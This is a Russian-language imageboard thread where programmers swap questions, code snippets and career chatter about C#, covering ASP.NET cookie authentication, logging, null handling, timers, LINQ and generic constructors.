ты передаешь зашифрованный ключ, в котором есть секции claims, useremail, флаги, все что запихнешь вообщем. Юзер этот кук использует при обращении к контроллеру, где должен быть атрибут [Authentificate] (или как то так). Т.е. при каждом обращении из кукисов в хедере идет хендшейк между твоим контроллером из бэка и клиентом
Аноним 08/07/20 Срд 15:17:59 1745058537
>>1744916
> только если под капотом не какой-нибудь хитрый yield
фикс
>>1744920
Сложного-то нет, просто видел использование адонета только в учебнике Троелсена, на работе все через ef или SqlRaw
Аноним 08/07/20 Срд 15:18:46 1745059538
>>1745058
Блядь, да что же я косноязычный такой сегодня. "Или" лишнее
Аноним 08/07/20 Срд 15:21:51 1745061539
>>1745058
я из собеса, который проходил на практике видел только 10% информации, остальное только на страницах учебника или на веб. ресурсах
Аноним 08/07/20 Срд 15:21:54 1745062540
>>1745049
>ты передаешь зашифрованный ключ
Вот это мне и не понятно. У серва же нет никакой доп инфы кроме переданной через куки. Так если серв может расшивровать, значит и клиент может, нет?

я только начинаю курить асп не бейте ключом шифрования по голове
Аноним 08/07/20 Срд 15:28:50 1745072541
>>1745049
>>1745062
Поскреб по сусекам и вроде как ключ привязывается к машине на которой запущен серв. И если я запущу серв на другой машине он не распознает куки. Верно?
Аноним 08/07/20 Срд 16:11:00 1745129542
>>1745072
>>1745062
почитай по аутентификации в Asp.net - в ключ шифровка идет поля с secret, который выдает сервер и принимает с таким же ключем атрибутами аутентификации
Аноним 08/07/20 Срд 16:30:56 1745159543
>>1745129
> в ключ шифровка идет поля с secret, который выдает сервер и принимает с таким же ключем атрибутами аутентификации
Ты мне мозг сломал несогласованностью падежей и яннп. Есть что нибудь конкретное почитать?
Аноним 08/07/20 Срд 16:50:17 1745178544
Аноним 08/07/20 Срд 16:51:59 1745181545
>>1745159
дополнение к >>1745178
сразу гугли, как должны компоненты добавляться в startup.cs. К примеру, если ты добавишь аутентификацию, авторизацию раньше создания контроллеров, то ничего не получишь. И вижла на это ругаться не будет
Аноним 08/07/20 Срд 16:55:36 1745187546
>>1745178
По туторам и я сделал, теперь бы понять как это работает внутри. Да и вопрос-то не про JWT.
Аноним 08/07/20 Срд 17:08:10 1745202547
>>1745187
что конкретно внутри? То что при атрибуте контроллер энкриптит зашифрованный ключ и сверяет клеймсы, сикрет и инфу о юзере? MSDN в помощь, правда там будет все обо всем, ибо это вопрос секьюрити. Если ты делал создание юзеров через UserManager, то ты даже в своей же ДБ не увидишь пасса - он зашифрован к хеш
Аноним 08/07/20 Срд 20:22:26 1745327548
Смотрите. Длать на паре было нечего. От нефиг делать на память запили клеточный автомат(АКА игра жизнь). Вот. Ну, и чтобы как-то не писать ручками стартовое поле, решил использовать битмап, типа белый - пусто, черный - клеточка. Вооооот. Ну и схороняю каждое поколения в отдельный bmp файлик.
Так вот, при разрешении мапы 800x800 это говно оч медленно работает. Неприлично медленно. При этом если отрубить запись то работает приемлемо, примерно 100 поколений за 2 секунды.
Ну, и мне интересно, можно ли как-то оптимизировать этот момент с записью в файлик?
Аноним 08/07/20 Срд 21:50:42 1745374549
>>1745327
Записываешь в файл после каждого изменения клетки или же пишешь состояние всей системы в определенный момент времени туда?
Аноним 08/07/20 Срд 22:10:19 1745383550
>>1745374
После обновления мира.
Типа основной цикл выглядит так:

int gen = 0;//поколение
while(!GameOver)
{
world = UpdatePlaneWorld(world, rulesHandler);
SaveToBMP(world, saveFolder, gen);
gen++;
}
Аноним 09/07/20 Чтв 06:18:13 1745614551
>>1745327
> 800x800
>>1745383
> SaveToBMP
Показывай код SaveToBMP. Вангую, что ты в цикле по всему битмапу проходишь SetPixel, а это медленно и печально шопиздец.
Аноним 09/07/20 Чтв 08:38:30 1745627552
>>1745202
>что конкретно внутри?
Ну я уже не знаю как еще объяснить. Но попробую еще раз.
>делал создание юзеров через UserManager
нет
>в своей же ДБ
нет пока никакой бд и никаких паролей.
> пасса - он зашифрован к хеш
давай чтобы не было путаницы: шифрование это когда можно получить обратно данные, а хэширование - получение некого отпечатка данных.

Итак все что есть это подключенная аутентификаци через куки
services.AddAuthentication(...).AddCookie() и клайм засунутый в Principal, который в свою очередь засунут HttpContext.SignIn() Никакой авторизации, никаких логинов/паролей и бд. Теперь эти клаимсы асп засовывает в куки. И вот вопрос данные в куках зашиврованы c помощью какого-то ключа (если да, то откуда берется этот ключ, он же нигде не сохраняется, но при перезапуске способен распознавать данные из кук) или просто закодированы чем-то вроде Base64? Пока у меня такое представление:
>ключ привязывается к машине на которой запущен серв. И если я запущу серв на другой машине он не распознает куки. Верно?
Аноним 09/07/20 Чтв 09:32:38 1745647553
>>1744916
> У меня ~50к в сумме со всеми премиями
>>1744920
> я HH/HR назвал цифру - $400-50
> текущей ЗП (750-800 сейчас)
Блин, чуваки, скажите, плиз, что вы джуны? Ну нельзя же столько получать будучи норм шарпистом, даже в провинции.
Аноним 09/07/20 Чтв 09:37:21 1745652554
>>1745647
я писал выше, что собеседовался на джуна. Сейчас я с 750 не в ойти
Аноним 09/07/20 Чтв 09:41:39 1745655555
>>1745652
Чем сейчас занимаешься, если не секрет?
Аноним 09/07/20 Чтв 09:54:49 1745664556
>>1745655
финансы, аналитика
Аноним 09/07/20 Чтв 10:23:06 1745678557
>>1744696
в субботу еще одно интервью, только заказчик пожирней - аутсорсинг. И будет оно скорее всего на ангельском. После отпишу вопросы, которые задает забугорный заказчик.

Еще не придумал, как буду отбрехиваться - в требованиях 2 года ком. опыта в ойти, а я только петы писал
Аноним 09/07/20 Чтв 10:23:17 1745679558
>>1745647
> Блин, чуваки, скажите, плиз, что вы джуны? Ну нельзя же столько получать будучи норм шарпистом, даже в провинции.
А сколько можно? Я джун с годовалым опытом в провинции
Аноним 09/07/20 Чтв 10:38:09 1745694559
>>1745664
А чего уходишь? Не твое или мало платят?
Аноним 09/07/20 Чтв 11:50:04 1745733560
>>1745694
причин много на самом деле, если в кратции:
1. Работа не гибкая, знания не универсальные - уволюсь, прийду на новое место, начну опять с $300-400
2. Роста нет от слова совсем. Я уже уперся в потолок, дальше только менеджмент
3. Трактор не заведешь - бизнес по СНГ-шному и бугор - это разные миры
Да и программирование, как хобби уже лет 5 точно, накатило просто и решил, что пора свитчиться
Аноним 09/07/20 Чтв 13:31:01 1745823561
>>1745733
Норм мотивация. Удачи!
Аноним 09/07/20 Чтв 17:21:05 1746114562
image.png 67Кб, 660x248
660x248
Убедите меня вкатиться в ваши ряды, вместо, скажем, котлина (джава мир).
Вакансии насрать, нужен убедительный вдохновляющий ЯП.
Аноним 09/07/20 Чтв 19:00:04 1746235563
>>1746114
>Убедите меня
Дохуя хочешь. Учи котлин.
Аноним 09/07/20 Чтв 19:36:58 1746275564
>>1746114
Котлин это очередной высер хипстеров-хайпожеров от жидбрейнсов. Один их решарпер, который требует ресурсов больше чем сама студия, чего только стоит. Похайпует твой котлин, а потом разрабы забьют на него и он сдохнет.
Аноним 09/07/20 Чтв 20:51:11 1746331565
Увидел в коде сеньера код следующего содержания:

public string Log {get;set;} = ""

public void AddLog(string log)
{
Log+=$"{DateTime.Now}: {log}\n";
}

Этот "лог", нигде не чистится, класс, в котором он живет - синглтон. Метод AddLog вызывается каждый раз когда вызывается какой-нибудь метод внутри класса. Как уже было сказано, класс - синглтон, само приложение - сервер, т.е. жить должно долго.
Так вот, может я чего-то про строки не знаю? Просто со стороны выглядит как хуйня, которая когда-нибудь всю память сожрет. Я джун, потому не кидайтесь тапками, если я какую-то хуйню спросил.
Аноним 09/07/20 Чтв 21:10:07 1746342566
>>1746331
Ты прав, код — хуйня, но память не сожрет, т.к. GC будет собирать созданные ранее строки.
Аноним 09/07/20 Чтв 21:13:25 1746346567
>>1746331
Или сожрет, если лог будет дохуя большой и не очищается. Код все равно хуйня.
Аноним 09/07/20 Чтв 21:31:49 1746354568
>>1746331
Конечно хуйня. Нужно сделать примерно так:

private const int LogLengthBeforeSave = 10000;
private Path LogFilePath {get;} = "Logs.txt";
private StringBuilder Log {get;} = new StringBuilder(LogLengthBeforeSave);

public void AddLog(string log)
{
lock(Log)
{
Log.AppendLine($"{DateTime.Now}: {log}");
if (Log.Length => LogLengthBeforeSave)
{
try
{
File.AppendAllLines(LogFilePath, Log.ToString());
}
catch(Exception e) {
HandleError(e);
return;
}
Log.Clear();
}
}
}

public string GetLogs()
{
string logsFromFile = "";
try
{
logsFromFile = File.ReadAllText(LogFilePath);
}
catch (Exception e)
{
HandleError(e);
}
return logsFromFile.ToString() + Logs.ToString();
}

В том виде который ты описал, каждое добавление к логу будет создавать в памяти копию предыдущего значения. При этом если записывать лог из разных потоков одновременно, то часть логов вообще проебется.
Аноним 09/07/20 Чтв 21:34:01 1746356569
Аноним 09/07/20 Чтв 21:47:26 1746367570
>>1746114
У шарпа синтаксис прикольный. Вот.
Аноним 09/07/20 Чтв 22:46:59 1746421571
Аноним 09/07/20 Чтв 23:46:57 1746463572
>>1746367
У котлин молодежнее
Аноним 10/07/20 Птн 09:34:27 1746609573
>>1746354
а разве кто-то пишет самостоятельно логи? Есть же богоподобный NLog
Аноним 10/07/20 Птн 09:41:27 1746613574
>>1746609
Логер размером больше чем 99% программ в которых нужен логер? Попахивает физзбаззом энтерпрайз эдишн. У меня есть два своих класса, один логирует всё сначала в память, потом в файл. Другой выводит информацию в UI, который может быть как консолью, так и любым другим графическим интерфейсом, который принимает текстовые данные и выводит их на дисплей. Оба занимают около 100 строк кода, не вижу смысла ставить что-то тяжелее, еще и смотреть в дебри документации этого монстра.
Аноним 10/07/20 Птн 09:51:52 1746617575
>>1746613
А своего веб-сервера у тебя нет? Тоже ведь 100+ строк кода.
Аноним 10/07/20 Птн 10:20:28 1746647576
>>1746617
Сочувствую тебе, если ты не троллишь и у тебя веб-сервер по количеству и важности задач стоит на уровне с логером.
Аноним 10/07/20 Птн 11:19:05 1746682577
>>1746613
1) насчет размера - согласен. просто у меня дикий мастодонт на юнити и там это не особо то и важно
2) реализация логгера вручную - нууу, хз. думаю там, что если можно использовать что-то готовое и проверенное, то НУЖНО использовать что-то готовое и проверенное. Самому оформлять уровни, верстки и тд не особо хочется. Тем не менее согласен, что в небольших проектах, где логирование просто ради удобства разрабов, можно и ручную хуйню прописать
Аноним 10/07/20 Птн 13:41:52 1746831578
Месяц проебал на верстку и всратый js. Сегодня вкатываюсь к вам. Вапроси?
Аноним 10/07/20 Птн 15:23:16 1746994579
>>1746831
Вот и выросло поколение, которое не может осилить фронтенд.
Аноним 10/07/20 Птн 15:42:45 1747029580
>>1746994
>Вот и выросло поколение, которое не хочет поесть говна.
Аноним 10/07/20 Птн 15:50:47 1747046581
>>1747029
Двачую. И добавить нечего.
Аноним 10/07/20 Птн 15:52:13 1747048582
>>1747029
При этом кушает шарп.
Аноним 10/07/20 Птн 15:53:27 1747050583
>>1747048
На языке ассемблера должен хурить, как деды.
Аноним 10/07/20 Птн 16:01:24 1747056584
>>1746831
Так у нас без знаний верстки и js делать нечего. По крайней мере без js уж точно.
Аноним 10/07/20 Птн 16:03:45 1747061585
>>1746831
Там, тебе, барану, сделали ts же.
Аноним 10/07/20 Птн 16:05:42 1747066586
Аноним 10/07/20 Птн 17:22:58 1747160587
Аноним 10/07/20 Птн 17:44:50 1747179588
>>1747160
Тоже об этом подумал.
Аноним 10/07/20 Птн 23:20:40 1747493589
Читаю про создание собственного механизма боксинга и у меня встал вопрос

class Box<T> where T : struct
{
private T t;
public Box(T t)
{
this.t = t;
}
public static explicit operator T(Box<T> b)
{
return b.t;
}
}
What the hell is this? Explicit operator - это типо перегрузка оператора? А b.t это что такое? Пишу 2 года, первый раз вижу такое
Аноним 10/07/20 Птн 23:37:55 1747514590
>>1747493
Explicit operator это явное приведение типа, есть еще implicit - неявное.
>А b.t это что такое
Возвращение типа к которому ты приводишь, т. е. типа T, а приводить ты должен тип Box<T>
Аноним 10/07/20 Птн 23:41:02 1747515591
>>1747493
b.t это обращение к тому, что объявлено как private T t;
explicit conversion оператор - это оператор, который без явно написанного тобой каста не вызовется.
Аноним 10/07/20 Птн 23:41:34 1747516592
>>1747514
почему тогда не (t)b? Или в данном случае "." - это cast?
Аноним 10/07/20 Птн 23:59:49 1747533593
>>1747516
b.t это обращение к полю t класса Box<T>, у которого и так уже тип T

скопируй этот код в IDE и переименый переменные на нормальные, всё сразу поймешь
Аноним 11/07/20 Суб 00:13:59 1747557594
>>1747516
Ты из функции приведения должен вернуть переменную типа T, она у тебя уже хранится в поле t, вот ты её и возвращаешь.
Аноним 11/07/20 Суб 00:18:25 1747562595
Аноним 11/07/20 Суб 01:54:15 1747674596
Всем привет
Тема такая: долгое время разрабатываю на юнити в стартапе, но вся тема прогорает и нужно искать куда свинтить. Вышло так, что из-за работы с движком, получилось более менее подучить язык, пусть и с учетом специфики юнити. За это время шарп мне очень зашел - годная штука, но хочется делать серьезный софт, а не игры. Отсюда вопрос: на си шарп вообще ведется разработка ПО? или он только для бека/веба? Видел много вакансии по разработке ПО на крестах, но если есть вариант не переучиваться на другой язык, а углубляться в этот, то лучше рассмотреть ее. Спасибо
Аноним 11/07/20 Суб 10:13:00 1747771597
>>1747674
Зайди на сайт с вакансиями да проверь. Десктопа очень мало, да и тот что есть всё равно зачастую работает с вебом, если не с вебом, то с базой данных точно.
Аноним 11/07/20 Суб 10:41:25 1747782598
>>1747674
Бек/Веб тоже ПО, лол, кек.
На десктопах ведется, но не нужна, т.к. десктоп дед.
ХЗ что тебе не нравится в беке? Особенно сейчас, когда мода на микросервисы. Охуенно же.
Аноним 11/07/20 Суб 10:44:56 1747785599
>>1724425 (OP)
Пацаны. Есть приложение на windows Forms, написанное на C#.
Нужно сделать так, чтобы это приложение через определенный интервал времени стучалось в определенные места. Как это можно реализовать. Стучаться должно конечно в отдельном потоке.
Я знаю решения только в таймером. Но может быть есть СОВРЕМЕННЫЕ решения данной проблемы?
Аноним 11/07/20 Суб 10:55:00 1747788600
>>1747785
Ну, тривиальное решение с асинхронщиной:

while(!stopToken.IsCancellationRequested)
{
await ТвояТаскаПоСтучанию();
//На случай если таска затянулась или еще что-то можно сделать вычисление задержки чтобы, скажем, у тебя каждую 10ю минуту таска по стучанию запускалась.
var delay = ТвойМетодВычисленияИнтервалаВремениДляСледующегоПостукивания();
await Task.Delay(delay);
}
Аноним 11/07/20 Суб 11:07:54 1747792601
>>1747788
Этот высер и есть современный подход к таймерам?
Ты когда нибудь работал с gui приложениями?
Аноним 11/07/20 Суб 11:12:34 1747798602
Аноним 11/07/20 Суб 12:27:32 1747874603
>>1747782
Да жс этот ебаный еще учить, пиздец
Аноним 11/07/20 Суб 13:19:55 1747946604
>>1747785
Лучше таймера ничего не придумали, главное всегда делать его с period равным Timeout.Infinite (вызывая в конце выполнения метод Change) и использовать System.Threading.Timer, а не другие 3.
Аноним 11/07/20 Суб 13:23:58 1747951605
>>1747874
Зачем тебе js в бэкэнде?
Аноним 11/07/20 Суб 14:14:02 1748013606
timers.png 87Кб, 1812x532
1812x532
>>1747946
>использовать System.Threading.Timer, а не другие 3
Использовать нужно наиболее подходящий.
>>1747951
>Зачем тебе js в бэкэнде?
Наивный чукотский юноша.
Аноним 11/07/20 Суб 15:08:44 1748061607
>>1748013
>Использовать нужно наиболее подходящий.
Я всё же буду придерживаться мнения авторов как Рихтер и разработчиков ядра .NET, а не супер-модераторов с непонятных пидорахофорумов.
Аноним 11/07/20 Суб 20:22:40 1748471608
Анон, а есть какая-нибудь статья про приведение типов, апкаст, даункаст и вот это вот всё. Можно в стиле "Для самых маленьких и тупых" и чтобы примеров побольше.
Аноним 11/07/20 Суб 21:02:44 1748517609
>>1748471
Может тебе еще труд об объявлении переменных в четырех томах?
Аноним 11/07/20 Суб 22:26:49 1748600610
>>1748517
Нет, 4 тома многовато, 2-х будет достаточно. Собственно, уже нашёл, но спасибо за ответ.
Аноним 11/07/20 Суб 22:34:17 1748611611
>>1748471
у св. Рихтера в Великом Писании в 4 главе все разложенно
Аноним 12/07/20 Вск 10:34:11 1748883612
Аноним 12/07/20 Вск 14:45:00 1749155613
Сделал змейку. Вот. Это преальфа-версия, потому возможны некоторые баги.
Но я хочу поделиться с тредом текущим состоянием. Да.
https://www.dropbox.com/s/8u7n6wwc376lr9j/Snake.7z?dl=0
Буду благодарен за багрепорты и фидбек.
Аноним 12/07/20 Вск 15:49:33 1749286614
image.png 14Кб, 477x147
477x147
image.png 523Кб, 564x814
564x814
Аноны, знаю очень глупенький вопрос но как лучше всего обработать NULLreference exeption
например в пикриле, если в базе нет запрашиваемого пользователя, что мы не можем передать нул, как дальше быть?
Аноним 12/07/20 Вск 16:06:58 1749310615
>>1749155
Меню не сразу всплывает, ждёт нажатия клавиши.
Ты бы хоть Game Over нарисовал, а то вылетает с эксепшеном.
Иногда есть баг, когда резко нажимаешь в 2 направления, оно зависает и мигает.
Аноним 12/07/20 Вск 16:07:44 1749312616
>>1749310
>>1749155
Границы поля нарисуй и символы подбери получше.
Аноним 12/07/20 Вск 16:32:09 1749337617
Аноним 12/07/20 Вск 16:33:08 1749339618
>>1749337
не понел, можешь более развернуто объяснить?
Аноним 12/07/20 Вск 16:34:35 1749340619
>>1749286
Почему не можешь? Если бы юзал First(), то да - кинулся бы эксепшн
Аноним 12/07/20 Вск 16:36:10 1749344620
>>1749340
да только метод который вызвал ожидал значение а получил нулл, вот и получается ексепшин
Аноним 12/07/20 Вск 16:40:58 1749349621
>>1749344
Что ты ожидаешь от программы?
Аноним 12/07/20 Вск 16:47:42 1749355622
аноны, перехожу с юнити (2 года работы) в чистый шарп. Что нужно выучить, чтобы найти работу?
Аноним 12/07/20 Вск 16:47:42 1749356623
image.png 21Кб, 505x225
505x225
image.png 22Кб, 737x163
737x163
image.png 22Кб, 552x239
552x239
>>1749349
ну пока я накостылял что-то такое
1 пикрил страница где юзается метод
2 пикрил класс который обращается к дб обработчику
3 пикрил собственно обращение к дб
Аноним 12/07/20 Вск 16:48:39 1749358624
Аноним 12/07/20 Вск 16:49:33 1749359625
image.png 42Кб, 638x336
638x336
image.png 22Кб, 763x164
763x164
image.png 20Кб, 484x239
484x239
>>1749349
ну пока я накостылял что-то такое
1 пикрил страница где юзается метод
2 пикрил класс который обращается к дб обработчику
3 пикрил собственно обращение к дб

вот
Аноним 12/07/20 Вск 16:51:30 1749361626
>>1749359
но я понимаю что это лютые костиля, просто не понимаю как сделать правильно
Аноним 12/07/20 Вск 16:53:47 1749367627
>>1749359
Зачем эти хелпер методы если в конечном итоге ты юзера, которого ты не нашел в базе обрабатываешь по особому сценарию?

Что ты хочешь сделать?
Аноним 12/07/20 Вск 16:58:57 1749373628
>>1749367
ладно, расскажу с предысторией, раньше я делал иначе, но пришли парни прогерры с второго етажа и повозили меня мордой по столу за мой код, они сказали что методы должны групироваться в хелпере что бы их потом можно было легко использовать и дебажить, и дали леща за "если я использую твой метод я должен получить значения а не ексепшин" а я нихрена не понимаю чего они хотят, типа если пользователь не найден, чего я им должен возвращать что бы у них не было ексепшинов?
Аноним 12/07/20 Вск 17:09:23 1749388629
D15nDdIXQAARONJ[...].jpg 71Кб, 631x577
631x577
Аноним 12/07/20 Вск 17:11:25 1749391630
>>1749373
Ты либо не понял парней со второго этажа, либо они идиоты скорее первое

Любой хороший код должен соблюдать принцип наименьшего удивления.

Метод, который называется GetSomethingById(Guid id) должен именно брать значение этого Something из источника информации. Если этой хуйни в источнике нет - пусть вернет default(Something), либо (предпочтительный вариант) кинет исключение.

Если тебе нужно попытаться найти Something в источнике информации - напиши метод bool TryGetSomethingById(Guid id, out Something result). Этод метод уже не должен ничего бросать.

Если тебе нужно взять что-то из источника информации, а если этой хуйни там нет - вернуть значение по умолчанию, нужно написать метод Something GetSomethingByIdOrDefault(Guid id, Something default)

Если тебе нужо взять что-то из источника информации по айди, а если оно там не нашлось то добавить - пиши метод GetOrAddSomethingById(...)
Аноним 12/07/20 Вск 17:19:13 1749403631
>>1749391
логично!
>>1749388
это в общем-то слабо отличается от тех костылей которые я написал, более того если возвращать лист то исключения и так не будет так как лист это не нулл, а значит его можно и без дефолт пользователя возвращать, просто пустым.
Аноним 12/07/20 Вск 17:21:23 1749406632
>>1749391
и почему исключение предпочтительно, оно же валит сервер, его потом качем надо ловить...
Аноним 12/07/20 Вск 17:21:40 1749407633
>>1749403
Какой лист возвращать, дебил? Возвращается класс User, List используется в качестве примера для замены твоей бд.
Аноним 12/07/20 Вск 17:24:17 1749411634
>>1749407
извини, не разобрался, да действительно надо попробовать так
Аноним 12/07/20 Вск 17:29:06 1749419635
>>1749406
Сервер никто не валит. Даже если ты его не обработаешь, сервер просто вернет тебе 500 и продолжит работать.

Исключение предпочтительно потому это позволит тебе сразу же заметить, что ты делаешь какую-то херню.

По поводу задачи на повестке: в первую очередь тебе нужно в голове уложить для себя, что твоя программа должна делать, в случаях а) когда пользователь существует б) когда пользователя нет

Когда это уяснишь, с архитектурой проще станет
Аноним 12/07/20 Вск 17:32:05 1749429636
>>1749344
> метод который вызвал ожидал значение
Если метод обязан запросить существующего юзера, то кидай эксепшон. Если можно запрашивать любой айди, то возвращай налл. На мой взгляд в таких случаях неплохой вариант это запилить метод bool TryGetUserById(int id, out User user). Вижу на скринах ниже ты что-то похожее пытаешься сделать, только как-то через жопу.
Аноним 12/07/20 Вск 17:33:57 1749432637
>>1749429
а почему через жопу? как сделать лучше?
Аноним 12/07/20 Вск 17:36:43 1749436638
>>1749429
то-есть я понимаю что должен быть в таком случае TryGetUserById(int id, out User user) потому что источник айди это адрестная строка, и пользователь туда что угодно может вписать, и надо обработать так что бы ничего не упало что бы пользователь не вбил
Аноним 12/07/20 Вск 18:06:58 1749471639
>>1749310
>>1749312
Спасибо за фидбек! Это будет поправлено в ближайшей версии.
Аноним 12/07/20 Вск 18:08:53 1749474640
>>1749286
Lold.
Зачем там Where, а потом FirstOrDefault? Почему не просто FirstOrDefault?
Аноним 12/07/20 Вск 18:11:08 1749477641
>>1749474
спасибо анон. поправил!
Аноним 12/07/20 Вск 18:16:50 1749485642
>>1749432
>а почему через жопу?
Есть общепринятый стиль написания таких методов (int.TryParse, dictionary.TryGetValue и т.д.), где индикатор успеха является возвращаемым значением метода, а сам результат через out параметр метода.Т.е. в твоем случае как-то так:
bool TryGetUserById(int id, out User user)
{
.user = db.Users.Find(id);
.return user != null;
}
Аноним 12/07/20 Вск 18:19:18 1749489643
Аноны есть кто хорошо шарит в верстке в xaml в xamarine. Попался какой-то ебливый макет, хз как сверстать. Заранее спасибо
Аноним 12/07/20 Вск 18:21:29 1749493644
>>1749489
ОТКРЫВАЕШЬ
@
ВЕРСТАЕШЬ

Надо за тебя сделать или у тебя затык где-то, чего ты хочешь-то?
Аноним 12/07/20 Вск 18:24:02 1749494645
image.png 22Кб, 769x195
769x195
image.png 39Кб, 639x328
639x328
>>1749485
то-есть так? а есть какая-то очень большая разница с тем способом который был сначала?
Аноним 12/07/20 Вск 18:27:43 1749498646
Кусочек.jpg 125Кб, 1018x683
1018x683
>>1749489
Вот как должно выглядит, я вообще хз как эту хрень сверстать
Аноним 12/07/20 Вск 18:29:51 1749501647
Кусочек2.jpg 156Кб, 1018x683
1018x683
>>1749493
Затык с правой частью. Я хз как StackLayout c цифрами внутри выровнять в одну линию с большим числом из левого куска
Аноним 12/07/20 Вск 19:01:49 1749531648
>>1749494
Ну хз, как-то переусложняешь, зачем юзер с индексом -1? И убери
if(someBoll == true) этож пиздец. Сыграй вот в это https://cleancodegame.github.io/ полезная штука.
Аноним 12/07/20 Вск 19:17:24 1749550649
>>1749494
>GetUserById
>возвращает бул
Нет, не так.
Аноним 12/07/20 Вск 20:21:02 1749620650
Стоит ли вкатываться сейчас в шарп?
Аноним 12/07/20 Вск 20:23:13 1749622651
Аноним 12/07/20 Вск 20:29:44 1749626652
>>1749622
Так стаком проще сделать значение - разделитель - значение. Просто берёшь и в стак пихаешь и ставишь ориентацию.
А в гриде надо инициализировать грид, сколько строк, к каждому лейблу ставить его ряд.
Я грид использую в основном для верхних уровней, по типу основы макета.
Аноним 12/07/20 Вск 21:18:37 1749661653
>>1749550
ты видишь out User user? видишь что метод возвращает user? bool всего лишь статус выполнения метода
Аноним 12/07/20 Вск 21:19:17 1749662654
>>1749531
ну а как дать знать что пользователь не найден без ексепшина?
Аноним 12/07/20 Вск 21:22:30 1749664655
>>1749661
Почему ты тогда этот метод не назвал LaunchUserToTheMoon?
Аноним 12/07/20 Вск 21:23:22 1749665656
>>1749664
что блядь? ты что шизик?
Аноним 12/07/20 Вск 21:24:31 1749666657
>>1749665
Вот у меня такая же реакиця на Get метод, который возвращает bool и имеет out параметр
Аноним 12/07/20 Вск 21:26:00 1749667658
>>1749666
как по твоему должен называться метод который возвращает пользователя? шизик?
Аноним 12/07/20 Вск 21:27:22 1749669659
>>1749667
Метод который возвращает пользователя должен наываться GetUserById

Метод который пытается вернуть пользователя должен называться TryGetUserById
Аноним 12/07/20 Вск 21:28:30 1749671660
>>1749669
ну тут да я еще раньше написал что согласен и поменяю, а причем тут булл
Аноним 12/07/20 Вск 21:29:35 1749674661
image.png 1403Кб, 1453x1000
1453x1000
>>1749669
ладно в любом случае ты абсолютно прав
Аноним 12/07/20 Вск 22:07:49 1749710662
>>1749662
Так ты сделай метод, который тянет данные из базы вида bool TryGet... Абстракции это хорошо, но по-моему у тебя там уже лишние слои накручены, хотя я, конечно, всего кода не вижу.
Аноним 12/07/20 Вск 22:12:27 1749714663
>>1749710
да по ответам к таком варианте я и пришел, попробую моим семпаям презентовать завтра такой подход, надеюсь им понравиться, спасибо анону!
Аноним 13/07/20 Пнд 01:14:32 1749845664
Челы, а почему в шарпе нет синтаксиса для добавление к массиву подобного +=, как это работает с обычными переменными? Или может что-то такое есть, а я просто не знаю? Типа взял число, да добавил в самый конец массива из чисел такой строчкой:
массивЧисел += число;
С листом же работает такой синтаксис:
лист.Add(что-то);
А с массивом обязательно нужно возиться с индексами, с счетчиком. Указывать по какому адресу примостить свой элемент.
Хотя я наверно понимаю, что массивы это слишком низкоуровневая хуйня, чтобы так фривольно с ними себя вести. Но все равно, заебись была бы фишка.
Аноним 13/07/20 Пнд 06:06:45 1749923665
>>1749845
чем тебе лист не угодил?
Аноним 13/07/20 Пнд 08:40:37 1749959666
Подсказывайте, что коротенько читануть чтобы быть в теме.

Ситуация, есть физический сервер с SQL базой. Раньше легаси софт компании работал напрямую с этой базой, чем постоянно клал всю локальную сеть нагрузками. Я сейчас все это привожу к норме (по моему мнению и опыту)

И у меня появилась идея - делать запрос к серверу только один раз при запуске, сохранив копию данных в временной базе данных на компьютере пользователя и дальше работать с этой копией без сети. В принципе результат не плох, так как обычно работа там только чтение данных. Изменение - очень редкая операция.

Но вот как быть когда все таки один пользователь изменил данные, они прописались на сервер - но как теперь сделать чтобы другие пользователи их получили автоматом? Какие есть методы такой синхронизации?
(пока сделал ламерски - сделал кнопочку "обновить")
Аноним 13/07/20 Пнд 08:57:38 1749964667
>>1749959
Правильный способ: клиент/сервер с паб/сабом. На стороне SQL Server подымаем сервер на .NET или .NET Core и прикручиваем какой-нибудь SignalR.

Если не хочется заморачиваться, то можно посмотреть в сторону Service Broker (хотя я не очень уверен, что он подойдет для твоего кейса, но лучше глянь сам), встроенного в SQL Server.
Аноним 13/07/20 Пнд 09:46:40 1749980668
>>1749845
Потому что List.Add делает тоже самое, что делал бы и ты, если добавлял к массиву размером 10, 11 элемент.
Аноним 13/07/20 Пнд 19:01:31 1750510669
>>1749845
Потому что массив это такая вот структура данных, которая нихуя не знает ничего, кроме того насколько она большая, где в памяти находится и какой величины объект в себя помещает. Все.
Массив как-бы нужен не чтобы в него удобно добавлять было, а чтобы выделить кусок памяти фиксированного размера иметь константное время доступа к элементу по индексу.
Если тебе надо постоянно добавлять и ты не знаешь конечный размер, даже в теории - ты просто берешь и юзаешь лист/стек/очередь/что-то еще что больше подходит в твоем случае.
Аноним 14/07/20 Втр 00:27:40 1750778670
Подскажите правильный подход по работа с БД запросами от клиента. Обращение будет по Id или по Email? Очевидно, что должно быть по Id, но в кукисах я не храню его - только access key и email. Нужно ли еще в кукисы добавлять Id или обращения могут быть по Id? Каким образом делать мультизапросы, перегрузкой методов? Типо только с Id, с id и указанием заказа, с id, указанием заказа и указанием цены и т.д. - как это реализуется? Кучей перегруженных методов с вызовами через методы?
Спасибо
Аноним 14/07/20 Втр 03:38:21 1750892671
whitaker.png 26Кб, 1083x150
1083x150
Подскажите, как правильно написать LINQ-запрос для задания с пикчи. Player's Guide 3ed
Аноним 14/07/20 Втр 12:24:58 1751095672
>>1750892
objs.GroupBy(x=>x.PlayerId).OrderBy(x=>x.CurrentHp/x.MaxHp)
наоборот только
Аноним 14/07/20 Втр 19:33:19 1751470673
Аноны, нужна помощь.

Суть: создать метод, который выделяет память объекту (переданному в метод по ссылке) исходя из данных, переданных в конструктор (то есть конструктор бросает исключение, если данные невалид).
Тип объектов, допустим, классы Handler1 и Handler2, унаследованные от интерфейса IHandler.

Реализация:

interface IHandler { ... }
// в классах ниже реализованы конструкторы с параметром string
class Handler1 : IHandler { ... }
class Handler2 : IHandler { ... }

void CreateHandler<T>(ref T handler) where T: IHandler, new()
{
while (handler == null)
{
try
{
// ошибка: нельзя вызвать конструктор T с аргументами
handler = new T("somethings");
}
catch (Exception e)
{
Console.WriteLine($"Message: {e.Message}");
}
}
}

Использование:

Handler1 handler1 = null;
Handler2 handler2 = null;
CreateHandler<Handler1>(ref handler1);
CreateHandler<Handler2>(ref handler2);

Есть идеи, как обойти ошибку или упростить мою идею?
Сразу прошу прощения за возможно неправильное использование обобщений, потому что перешёл с крестов, на которых, кстати, мой пример легко заработал при использовании шаблонов
Аноним 14/07/20 Втр 19:56:48 1751505674
Аноним 14/07/20 Втр 20:34:05 1751539675
>>1750778
Что ты вообще сделать хочешь?
>>1751470
